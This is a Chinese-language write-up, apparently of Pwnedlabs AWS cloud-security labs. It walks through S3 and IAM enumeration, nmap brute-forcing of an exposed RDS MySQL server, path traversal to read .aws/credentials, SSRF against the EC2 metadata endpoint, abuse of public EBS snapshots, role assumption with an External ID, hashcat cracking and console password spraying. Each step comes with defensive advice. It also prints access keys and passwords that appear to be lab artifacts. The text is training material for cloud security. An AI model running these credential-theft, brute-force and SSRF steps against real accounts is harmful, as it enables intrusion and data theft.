Pwnedlabs靶场Writeup(上)
字数 1545 2025-08-20 18:17:59

Pwnedlabs靶场Writeup:AWS云安全渗透实战指南

1. 从公开S3存储桶识别AWS账户ID

技术要点

  • 通过s3:ResourceAccount策略条件枚举AWS账户ID
  • 使用s3-account-search工具进行逐位猜测

操作步骤

  1. 执行命令:
s3-account-search arn:aws:iam::427648302155:role/LeakyBucket mega-big-tech
  1. 工具会逐位猜测账户ID,最终得到完整ID:107513503799

防御措施

  • 限制S3存储桶的公开访问权限
  • 监控异常访问模式

2. AWS IAM枚举基础

关键命令

# 获取当前身份信息
aws sts get-caller-identity

# 获取用户信息
aws iam get-user

# 枚举用户所属组
aws iam list-groups-for-user --user-name dev01

# 列出附加的用户策略
aws iam list-attached-user-policies --user-name dev01

# 列出策略版本
aws iam list-policy-versions --policy-arn arn:aws:iam::aws:policy/AmazonGuardDutyReadOnlyAccess

# 获取策略内容
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AmazonGuardDutyReadOnlyAccess --version-id v3

# 列出内联策略
aws iam list-user-policies --user-name dev01

# 获取内联策略内容
aws iam get-user-policy --user-name dev01 --policy-name S3_Access

# 获取角色信息
aws iam get-role --role-name BackendDev

# 获取附加的角色策略
aws iam list-attached-role-policies --role-name BackendDev

防御建议

  • 遵循最小权限原则
  • 定期审计IAM策略
  • 禁用不必要的内联策略

3. AWS S3枚举基础

攻击流程

  1. 发现公开可读的S3存储桶:
aws s3 cp s3://dev.huge-logistics.com/shared/hl_migration_project.zip ./ --no-sign-request
  1. 解压后发现AKSK(访问密钥和秘密密钥)
  2. 使用泄露的凭据访问受限内容:
aws s3 cp s3://dev.huge-logistics.com/admin/flag.txt ./

关键发现

  • migration-files/test-export.xml文件包含敏感信息:
<CredentialEntry>
    <ServiceType>AWS IT Admin</ServiceType>
    <AccountID>794929857501</AccountID>
    <AccessKeyID>AKIA3SFMDAPOQRFWFGCD</AccessKeyID>
    <SecretAccessKey>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</SecretAccessKey>
</CredentialEntry>

防御措施

  • 加密敏感数据
  • 实施严格的存储桶策略
  • 禁用不必要的公开访问

4. 利用暴露的RDS实例

攻击步骤

  1. 端口扫描发现开放数据库服务:
nmap -Pn -p3306,5432,1433,1521 exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
  1. 暴力破解MySQL凭据:
nmap -Pn -p3306 --script=mysql-brute --script-args brute.delay=10,brute.mode=creds,brute.credfile=mysql-creds.txt exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
  1. 使用获得的凭据连接数据库并获取flag:
mysql -udbuser -p123 -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
use user_info;
select * from flag;

防御建议

# 列出RDS实例
aws rds describe-db-instances

# 识别公开访问的RDS
aws rds describe-db-instances --query 'DBInstances[*].PubliclyAccessible' --query 'DBInstances[*].DBInstanceIdentifier'
  • 将公开访问的RDS设置为私有
  • 实施网络访问控制

5. 路径遍历获取AWS凭证

攻击方法

  1. 利用路径遍历漏洞读取.aws/credentials文件
  2. 获取AKSK后验证权限:
aws sts get-caller-identity
  1. 使用凭证访问S3获取flag:
aws s3 cp s3://huge-logistics-bucket/flag.txt ./

关键点

  • 云环境中路径遍历攻击应优先检查.aws目录
  • /etc/passwd可帮助识别云用户

6. SSRF攻击AWS元数据服务

攻击流程

  1. 发现SSRF漏洞端点:/status/status.php
  2. 获取IAM角色信息:
http://target/status/status.php?name=169.254.169.254/latest/meta-data/iam/security-credentials/
  1. 获取临时凭证:
http://target/status/status.php?name=169.254.169.254/latest/meta-data/iam/security-credentials/MetapwnedS3Access
  1. 使用临时凭证访问受限S3资源:
aws s3 cp s3://huge-logistics-storage/backup/flag.txt ./

防御措施

  • 禁用IMDSv1,强制使用IMDSv2
  • 实施网络控制限制元数据服务访问
  • 验证用户输入

7. 利用公开的EBS快照

攻击步骤

  1. 枚举当前权限:
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name intern
  1. 发现可公开访问的快照:
aws ec2 describe-snapshot-attribute --snapshot-id snap-0c0679098c7a4e636 --attribute createVolumePermission
  1. 创建并挂载卷:
sudo mkdir /test
sudo mount /dev/xvdf3 /test
  1. 发现敏感文件s3_download_file.php包含AKSK
  2. 使用凭证访问S3获取flag

防御建议

# 检测公开快照
aws ec2 describe-snapshots --owner-id self --restorable-by-user-ids all --no-paginate
  • 将公开快照设为私有
  • 轮换快照上的所有凭据

8. 使用External ID获取特权角色

攻击流程

  1. 发现泄露的config.json文件包含AKSK
  2. 枚举当前权限:
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name data-bot
  1. 列出Secrets Manager中的秘密:
aws secretsmanager list-secrets
  1. 获取外部ID凭证:
{
    "Username": "ext-cost-user",
    "Password": "K33pOurCostsOptimized!!!!"
}
  1. 获取角色信息:
aws iam get-role --role-name ExternalCostOpimizeAccess
  1. 使用External ID获取临时凭证:
aws sts assume-role --role-arn arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess --role-session-name test --external-id 37911
  1. 获取支付卡信息:
aws secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK

关键点

  • External ID用于跨账户访问控制
  • 临时凭证的有效期有限

9. 凭证滥用识别与执行

攻击方法

  1. 从公开S3存储桶下载asana-cloud-migration-backup.json
  2. 发现泄露的AKSK:
Access key ID: AKIATRPHKUQK4TXINWX4
Secret access key: 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
  1. 枚举DynamoDB表:
aws dynamodb list-tables
aws dynamodb scan --table-name analytics_app_users > output.json
  1. 破解密码哈希:
hashcat -m 1400 hash.txt rockyou.txt --force --username
  1. 使用GoAWSConsoleSpray进行控制台喷洒攻击:
./GoAWSConsoleSpray -a 243687662613 -u user.txt -p pass.txt
  1. 成功登录后从user_order_logs表获取flag

防御措施

  • 实施MFA(多因素认证)
  • 监控异常登录尝试
  • 定期轮换凭证

总结与最佳实践

攻击面总结

  1. 公开的S3存储桶和EBS快照
  2. IAM权限配置不当
  3. 凭证硬编码和泄露
  4. SSRF漏洞利用
  5. 数据库暴露和弱凭证

防御建议

  1. 最小权限原则:严格限制IAM权限
  2. 加密敏感数据:使用KMS等服务加密存储
  3. 监控与审计:启用CloudTrail和GuardDuty
  4. 凭证管理:避免硬编码,定期轮换
  5. 网络控制:限制公开访问的资源
  6. 漏洞管理:定期扫描和修复漏洞

通过Pwnedlabs靶场的实践,可以全面了解AWS环境中的常见安全问题和防御措施,是提升云安全能力的优秀学习资源。

Pwnedlabs靶场Writeup:AWS云安全渗透实战指南 1. 从公开S3存储桶识别AWS账户ID 技术要点 : 通过 s3:ResourceAccount 策略条件枚举AWS账户ID 使用 s3-account-search 工具进行逐位猜测 操作步骤 : 执行命令: 工具会逐位猜测账户ID,最终得到完整ID: 107513503799 防御措施 : 限制S3存储桶的公开访问权限 监控异常访问模式 2. AWS IAM枚举基础 关键命令 : 防御建议 : 遵循最小权限原则 定期审计IAM策略 禁用不必要的内联策略 3. AWS S3枚举基础 攻击流程 : 发现公开可读的S3存储桶: 解压后发现AKSK(访问密钥和秘密密钥) 使用泄露的凭据访问受限内容: 关键发现 : migration-files/test-export.xml 文件包含敏感信息: 防御措施 : 加密敏感数据 实施严格的存储桶策略 禁用不必要的公开访问 4. 利用暴露的RDS实例 攻击步骤 : 端口扫描发现开放数据库服务: 暴力破解MySQL凭据: 使用获得的凭据连接数据库并获取flag: 防御建议 : 将公开访问的RDS设置为私有 实施网络访问控制 5. 路径遍历获取AWS凭证 攻击方法 : 利用路径遍历漏洞读取 .aws/credentials 文件 获取AKSK后验证权限: 使用凭证访问S3获取flag: 关键点 : 云环境中路径遍历攻击应优先检查 .aws 目录 /etc/passwd 可帮助识别云用户 6. SSRF攻击AWS元数据服务 攻击流程 : 发现SSRF漏洞端点: /status/status.php 获取IAM角色信息: 获取临时凭证: 使用临时凭证访问受限S3资源: 防御措施 : 禁用IMDSv1,强制使用IMDSv2 实施网络控制限制元数据服务访问 验证用户输入 7. 利用公开的EBS快照 攻击步骤 : 枚举当前权限: 发现可公开访问的快照: 创建并挂载卷: 发现敏感文件 s3_download_file.php 包含AKSK 使用凭证访问S3获取flag 防御建议 : 将公开快照设为私有 轮换快照上的所有凭据 8. 使用External ID获取特权角色 攻击流程 : 发现泄露的 config.json 文件包含AKSK 枚举当前权限: 列出Secrets Manager中的秘密: 获取外部ID凭证: 获取角色信息: 使用External ID获取临时凭证: 获取支付卡信息: 关键点 : External ID用于跨账户访问控制 临时凭证的有效期有限 9. 凭证滥用识别与执行 攻击方法 : 从公开S3存储桶下载 asana-cloud-migration-backup.json 发现泄露的AKSK: 枚举DynamoDB表: 破解密码哈希: 使用 GoAWSConsoleSpray 进行控制台喷洒攻击: 成功登录后从 user_order_logs 表获取flag 防御措施 : 实施MFA(多因素认证) 监控异常登录尝试 定期轮换凭证 总结与最佳实践 攻击面总结 : 公开的S3存储桶和EBS快照 IAM权限配置不当 凭证硬编码和泄露 SSRF漏洞利用 数据库暴露和弱凭证 防御建议 : 最小权限原则 :严格限制IAM权限 加密敏感数据 :使用KMS等服务加密存储 监控与审计 :启用CloudTrail和GuardDuty 凭证管理 :避免硬编码,定期轮换 网络控制 :限制公开访问的资源 漏洞管理 :定期扫描和修复漏洞 通过Pwnedlabs靶场的实践,可以全面了解AWS环境中的常见安全问题和防御措施,是提升云安全能力的优秀学习资源。